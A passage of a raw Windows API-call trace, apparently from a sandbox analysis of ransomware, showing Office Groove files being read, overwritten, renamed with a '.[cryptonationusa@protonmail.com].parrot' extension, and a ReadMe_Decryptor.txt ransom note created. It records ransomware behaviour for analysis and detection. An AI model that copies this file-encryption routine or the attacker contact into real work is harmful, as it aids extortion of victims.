(lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.518] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.518] ReadFile (in: hFile=0x260, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0193.520] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.520] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x345, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18dd34*=0x345, lpOverlapped=0x0) returned 1 [0193.520] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\minus.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\minus.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.524] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.524] ReadFile (in: hFile=0x260, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0193.528] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.528] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x349, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18dd34*=0x349, lpOverlapped=0x0) returned 1 [0193.529] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\plus.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\plus.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.579] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.580] ReadFile (in: hFile=0x260, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0193.581] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.581] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18dd34*=0x327, lpOverlapped=0x0) returned 1 [0193.581] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.582] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\spacer.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\spacer.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.588] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0193.588] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xff699b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xff699b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.588] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff5db420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x17e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hierarchy.js.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HIERAR~1.PAR")) returned 1 [0193.589] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0193.589] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.589] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xff5db420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xff5db420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Basic", cAlternateFileName="")) returned 1 [0193.589] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xff699b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xff699b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 1 [0193.589] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xff699b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xff699b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 0 [0193.606] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0193.608] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.609] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="PROJEC~1")) returned 1 [0193.609] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="PROJEC~1")) returned 0 [0193.612] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.612] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.615] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.615] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f0a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x4f0a, lpOverlapped=0x0) returned 1 [0193.617] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.629] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.629] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.630] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.631] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2338, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2338, lpOverlapped=0x0) returned 1 [0193.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0193.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0193.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0193.632] GetLastError () returned 0x0 [0193.632] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0193.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0193.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0193.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0193.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0193.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0193.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0193.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0193.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0193.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0193.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0193.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9790 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22de080 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9790 | out: hHeap=0x5b0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x23000f0 [0193.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0193.633] WriteFile (in: hFile=0x288, lpBuffer=0x2300100*, nNumberOfBytesToWrite=0x2458, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2300100*, lpNumberOfBytesWritten=0x18e604*=0x2458, lpOverlapped=0x0) returned 1 [0193.637] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23000f0 | out: hHeap=0x5b0000) returned 1 [0193.637] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2450, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0193.637] CloseHandle (hObject=0x288) returned 1 [0193.637] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x6a83f0 [0193.637] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x17e) returned 0x6a3268 [0193.637] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a83f0 | out: hHeap=0x5b0000) returned 1 [0193.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0193.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0193.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fc0b0 | out: hHeap=0x5b0000) returned 1 [0193.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b49d0 [0193.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0193.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0193.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0193.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0193.642] GetFileType (hFile=0x288) returned 0x1 [0193.642] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0193.655] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.656] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.659] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5f00, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x5f00, lpOverlapped=0x0) returned 1 [0193.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0193.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0193.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0193.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0193.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0193.660] GetLastError () returned 0x0 [0193.660] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0193.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0193.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: 